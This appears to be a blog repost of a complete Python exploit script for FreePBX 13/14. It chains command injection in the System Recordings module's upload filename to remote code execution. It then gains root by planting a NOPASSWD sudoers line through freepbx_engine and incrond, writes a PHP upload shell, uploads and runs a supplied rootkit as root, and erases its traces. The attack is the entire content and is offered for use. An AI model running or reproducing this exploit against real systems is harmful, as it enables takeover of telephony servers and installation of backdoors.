Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863558210

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python
# -*- coding, latin-1 -*- ######################################################
#                                                                              #
# DESCRIPTION                                                                  #
# FreePBX 13 remote root 0day - Found and exploited by pgt @ nullsecurity.net  #
#                                                                              #
# AUTHOR                                                                       #
# pgt - nullsecurity.net                                                       #
#                                                                              #
# DATE                                                                         #
# 8-12-2016                                                                    #
#                                                                              #
# VERSION                                                                      #
# freepbx0day.py 0.1                                                           #
#                                                                              #
# AFFECTED VERSIONS                                                            #
# FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26)   #
#                                                                              #
# STATUS                                                                       #
# Fixed 08-10-2016 - http://issues.freepbx.org/browse/FREEPBX-12908            #
#                                                                              #
# TESTED AGAINST                                                               #
# * http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso          #
# * http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso          #
#                                                                              #
# TODO                                                                         #
# * SSL support (priv8)                                                        #
# * parameter for TCP port                                                     #
#                                                                              #
# HINT                                                                         #
# Base64 Badchars: '+', '/', '='                                               #
#                                                                              #
################################################################################

'''
Successful exploitation should looks like:

[*] enum FreePBX version
[+] target running FreePBX 13
[*] checking if target is vulnerable
[+] target seems to be vulnerable
[*] getting kernel version
[!] Kernel: Linux localhost.localdomain 2.6.32-504.8.1.el6.x86_64 ....
[+] Linux x86_64 platform
[*] adding 'echo "asterisk ALL=(ALL) NOPASSWD:...' to freepbx_engine
[*] triggering incrond to gaining root permissions via sudo
[*] waiting 20 seconds while incrond restarts applications - /_!_\ VERY LOUD!
[*] removing 'echo "asterisk ALL=(ALL) NOPASSWD:...' from freepbx_engine
[*] checking if we gained root permissions
[!] w00tw00t w3 r r00t - uid=0(root) gid=0(root) groups=0(root)
[+] adding view.php to admin/.htaccess
[*] creating upload script: admin/libraries/view.php
[*] uploading ${YOUR_ROOTKIT} to /tmp/23 via admin/libraries/view.php
[*] removing view.php from admin/.htaccess
[*] rm -f admin/libraries/view.php
[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23
[*] removing 'asterisk ALL=(ALL) NOPASSWD:ALL' from /etc/sudoers
[*] removing all temp files
[!] have fun and HACK THE PLANET!
'''


import base64
import httplib
import optparse
import re
from socket import *
import sys
import time


BANNER = '''\033[0;31m
################################################################################
#___________                    ________________________  ___   ____________   #
#\_   _____/______   ____   ____\______   \______   \   \/  /  /_   \_____  \  #
# |    __) \_  __ \_/ __ \_/ __ \|     ___/|    |  _/\     /    |   | _(__  <  #
# |     \   |  | \/\  ___/\  ___/|    |    |    |   \/     \    |   |/       \ #
# \___  /   |__|    \___  >\___  >____|    |______  /___/\  \   |___/______  / #
#     \/                \/     \/                 \/      \_/              \/  #
#  _______                .___                                                 #
#  \   _  \             __| _/____  ___.__.   * Remote Root 0-Day              #
#  /  /_\  \   ______  / __ |\__  \<   |  |                                    #
#  \  \_/   \ /_____/ / /_/ | / __ \ \___ |                                    #
#   \_____  /         \____ |(____  / ____|                                    #
#         \/               \/     \/\/                                         #
#                                                                              #
#       * Remote Command Execution Exploit (FreePBX 14 is affected also)       #
#       * Local Root Exploit (probably FreePBX 14 is also exploitable)         #
#       * Backdoor Upload + Execute As Root                                    #
#                                                                              #
#       * Author: pgt - nullsecurity.net                                       #
#       * Version: 0.1                                                         #
#                                                                              #
################################################################################
\033[0;m'''


def argspage():
    parser = optparse.OptionParser()

    parser.add_option('-u', default=False, metavar='<url>',
            help='ip/url to exploit')
    parser.add_option('-r', default=False, metavar='<file>',
            help='Linux 32bit bd/rootkit')
    parser.add_option('-R', default=False, metavar='<file>',
            help='Linux 64bit bd/rootkit')
    parser.add_option('-a', default='/', metavar='<path>',
            help='FreePBX path - default: \'/\'')

    args, args2 = parser.parse_args()

    if (args.u == False) or (args.r == False) or (args.R == False):
        print ''
        parser.print_help()
        print '\n'
        exit(0)

    return args


def cleanup_fe():
    print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \
            '\' from freepbx_engine'
    cmd = 'sed -i --  \' /echo \"asterisk ALL=(ALL)  NOPASSWD\:ALL\">>' \
            '\/etc\/sudoers/d\' /var/lib/asterisk/bin/freepbx_engine'
    command_execution(cmd)

    return


def cleanup_lr():
    print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \
            '\' from launch-restapps'
    cmd = 'sed -i -- \':r;$!{N;br};s/\\necho "asterisk.*//g\' ' \
            'modules/restapps/launch-restapps.sh'
    command_execution(cmd)

    return


def cleanup_htaccess():
    print '[*] removing view.php from admin/.htaccess'
    cmd = 'sed -i -- \'s/config\\\\.php|view\\\\.php|ajax\\\\.php/' \
            'config\\\\.php|ajax\\\\.php/g\' .htaccess'
    command_execution(cmd)

    return


def cleanup_view_php():
    print '[*] rm -f admin/libraries/view.php'
    cmd = 'rm -f libraries/view.php'
    command_execution(cmd)

    return


def cleanup_sudoers():
    print '[*] removing \'asterisk ALL=(ALL) NOPASSWD:ALL\' from /etc/sudoers'
    cmd = 'sudo sed -i -- \'/asterisk ALL=(ALL)  NOPASSWD:ALL/d\' /etc/sudoers'
    command_execution(cmd)

    return


def cleanup_tmpfiles():
    print '[*] removing all temp files'
    cmd = 'find / -name *w00t* -exec rm -f {} \; 2> /dev/null'
    command_execution(cmd)

    return


def check_platform(response):
    if (response.find('Linux') != -1) and (response.find('x86_64') != -1):
        print '[+] Linux x86_64 platform'
        return '64'
    elif (response.find('Linux') != -1) and (response.find('i686') != -1):
        print '[+] Linux i686 platform'
        cleanup_tmpfiles()
        sys.exit(1)
        return '32'
    else:
        print '[-] adjust check_platform() when you want to backdoor ' \
                'other platforms'
        cleanup_tmpfiles()
        sys.exit(1)


def check_kernel(response):
    if response.find('w00t') != -1:
        start = response.find('w00t') + 4
        end = response.find('w00tw00t') - 1
        print '[!] Kernel: %s' % (response[start:end].replace('\\', ''))

        return check_platform(response[start:end])


def check_root(response):
    if response.find('uid=0(root)') != -1:
        start = response.find('w00t') + 4
        end = response.find('w00tw00t') - 2
        print '[!] w00tw00t w3 r r00t - %s' % (response[start:end])
        return
    else:
        print '[-] we are not root :('
        cleanup_fe()
        cleanup_lr()
        cleanup_tmpfiles()
        sys.exit(1)


def build_request(filename):
    body = 'file=%s&name=a&codec=gsm&lang=ru&temporary=1' \
            '&command=convert&module=recordings' % (filename)
    content_type = 'application/x-www-form-urlencoded; charset=UTF-8'

    return content_type, body


def filter_filename(response):
    start = response.find('localfilename":"w00t') + 16
    end = response.find('.wav') + 4

    return response[start:end]


def post(path, content_type, body):
    h = httplib.HTTP(ARGS.u)
    h.putrequest('POST', '%s%s' % (ARGS.a, path))
    h.putheader('Host' , '%s' % (ARGS.u))
    h.putheader('Referer' , 'http://%s/' % (ARGS.u))
    h.putheader('Content-Type', content_type)
    h.putheader('Content-Length', str(len(body)))
    h.endheaders()
    h.send(body)
    errcode, errmsg, headers = h.getreply()

    return h.file.read()


def encode_multipart_formdata(fields, filename=None):
    LIMIT = '----------lImIt_of_THE_fIle_eW_$'
    CRLF = '\r\n'
    L = []
    L.append('--' + LIMIT)
    if fields:
        for (key, value) in fields.items():
            L.append('Content-Disposition: form-data; name="%s"' % key)
            L.append('')
            L.append(value)
            L.append('--' + LIMIT)

    if filename == None:
        L.append('Content-Disposition: form-data; name="file"; filename="dasd"')
        L.append('Content-Type: audio/mpeg')
        L.append('')
        L.append('da')
    else:
        L.append('Content-Disposition: form-data; name="file"; filename="dasd"')
        L.append('Content-Type: application/octet-stream')
        L.append('')
        L.append(open_file(filename))

    L.append('--' + LIMIT + '--')
    L.append('')
    body = CRLF.join(L)
    content_type = 'multipart/form-data; boundary=%s' % (LIMIT)

    return content_type, body


def create_fields(payload):
    fields = {'id': '1', 'name': 'aaaa', 'extension': '0', 'language': 'ru',
            'systemrecording': '', 'filename': 'w00t%s' % (payload)}

    return fields


def command_execution(cmd):
    upload_path = 'admin/ajax.php?module=recordings&command=' \
            'savebrowserrecording'
    cmd = base64.b64encode(cmd)
    payload = '`echo %s | base64 -d | sh`' % (cmd)
    fields = create_fields(payload)
    content_type, body = encode_multipart_formdata(fields)
    response = post(upload_path, content_type, body)
    filename = filter_filename(response)
    content_type, body = build_request(filename)

    return post('admin/ajax.php', content_type, body)


def check_vuln():
    h = httplib.HTTP(ARGS.u)
    h.putrequest('GET', '%sadmin/ajax.php' % (ARGS.a))
    h.putheader('Host' , '%s' % (ARGS.u))
    h.endheaders()
    errcode, errmsg, headers = h.getreply()
    response = h.file.read()

    if response.find('{"error":"ajaxRequest declined - Referrer"}') == -1:
        print '[-] target seems not to be vulnerable'
        sys.exit(1)

    upload_path = 'admin/ajax.php?module=recordings&command' \
            '=savebrowserrecording'
    payload = 'w00tw00t'
    fields = create_fields(payload)
    content_type, body = encode_multipart_formdata(fields)
    response = post(upload_path, content_type, body)

    if response.find('localfilename":"w00tw00tw00t') != -1:
        print '[+] target seems to be vulnerable'
        return
    else:
        print '[-] target seems not to be vulnerable'
        sys.exit(1)


def open_file(filename):
    try:
        f = open(filename, 'rb')
        file_content = f.read()
        f.close()
        return file_content
    except IOError:
        print '[-] %s does not exists!' % (filename)
        sys.exit(1)


def version13():
    print '[*] checking if target is vulnerable'
    check_vuln()

    print '[*] getting kernel version'
    cmd = 'uname -a; echo w00tw00t'
    response = command_execution(cmd)
    result = check_kernel(response)
    if result == '64':
        backdoor = ARGS.R
    elif result == '32':
        backdoor = ARGS.r

    print '[*] adding \'echo "asterisk ALL=(ALL) NOPASSWD:...\' ' \
            'to freepbx_engine'
    cmd = 'sed -i -- \'s/Com Inc./Com Inc.\\necho "asterisk ALL=\(ALL\)\  ' \
            'NOPASSWD\:ALL"\>\>\/etc\/sudoers/g\' /var/lib/' \
            'asterisk/bin/freepbx_engine'
    command_execution(cmd)


    print '[*] triggering incrond to gaining root permissions via sudo'
    cmd = 'echo a > /var/spool/asterisk/sysadmin/amportal_restart'
    command_execution(cmd)

    print '[*] waiting 20 seconds while incrond restarts applications' \
            ' - /_!_\\ VERY LOUD!'
    time.sleep(20)

    cleanup_fe()
    #cleanup_lr()

    print '[*] checking if we gained root permissions'
    cmd = 'sudo -n id; echo w00tw00t'
    response = command_execution(cmd)
    check_root(response)

    print '[+] adding view.php to admin/.htaccess'
    cmd = 'sed -i -- \'s/config\\\\.php|ajax\\\\.php/' \
            'config\\\\.php|view\\\\.php|ajax\\\\.php/g\' .htaccess'
    command_execution(cmd)

    print '[*] creating upload script: admin/libraries/view.php'
    cmd = 'echo \'<?php  move_uploaded_file($_FILES["file"]' \
            '["tmp_name"], "/tmp/23");?>\' > libraries/view.php'
    command_execution(cmd)

    print '[*] uploading %s to /tmp/23 via ' \
            'admin/libraries/view.php' % (backdoor)
    content_type, body = encode_multipart_formdata(False, backdoor)
    post('admin/libraries/view.php', content_type, body)

    cleanup_htaccess()
    cleanup_view_php()

    print '[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1;' \
            ' rm -f /tmp/23'
    cmd = 'chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23'
    setdefaulttimeout(5)
    try:
        command_execution(cmd)
    except timeout:
        ''' l4zY w0rk '''

    setdefaulttimeout(20)
    try:
        cleanup_sudoers()
        cleanup_tmpfiles()
    except timeout:
        cleanup_tmpfiles()

    return


def enum_version():
    h = httplib.HTTP(ARGS.u)
    h.putrequest('GET', '%sadmin/config.php' % (ARGS.a))
    h.putheader('Host' , '%s' % (ARGS.u))
    h.endheaders()
    errcode, errmsg, headers = h.getreply()
    response = h.file.read()

    if response.find('FreePBX 13') != -1:
        print '[+] target running FreePBX 13'
        return 13
    else:
        print '[-] target is not running FreePBX 13'

    return False


def checktarget():
    if re.match(r'^[0-9.\-]*$', ARGS.u):
        target = ARGS.u
    else:
        try:
            target = gethostbyname(ARGS.u)
        except gaierror:
            print '[-] \'%s\' is unreachable' % (ARGS.u)

    sock = socket(AF_INET, SOCK_STREAM)
    sock.settimeout(5)
    result = sock.connect_ex((target, 80))
    sock.close()
    if result != 0:
        '[-] \'%s\' is unreachable' % (ARGS.u)
        sys.exit(1)

    return

def main():
    print BANNER

    checktarget()

    open_file(ARGS.r)
    open_file(ARGS.R)

    print '[*] enum FreePBX version'
    result = enum_version()

    if result == 13:
        version13()

    print '[!] have fun and HACK THE PLANET!'

    return


if __name__ == '__main__':
    ARGS = argspage()
    try:
        main()
    except KeyboardInterrupt:
        print '\nbye bye!!!'
        time.sleep(0.01)
        sys.exit(1)

#EOF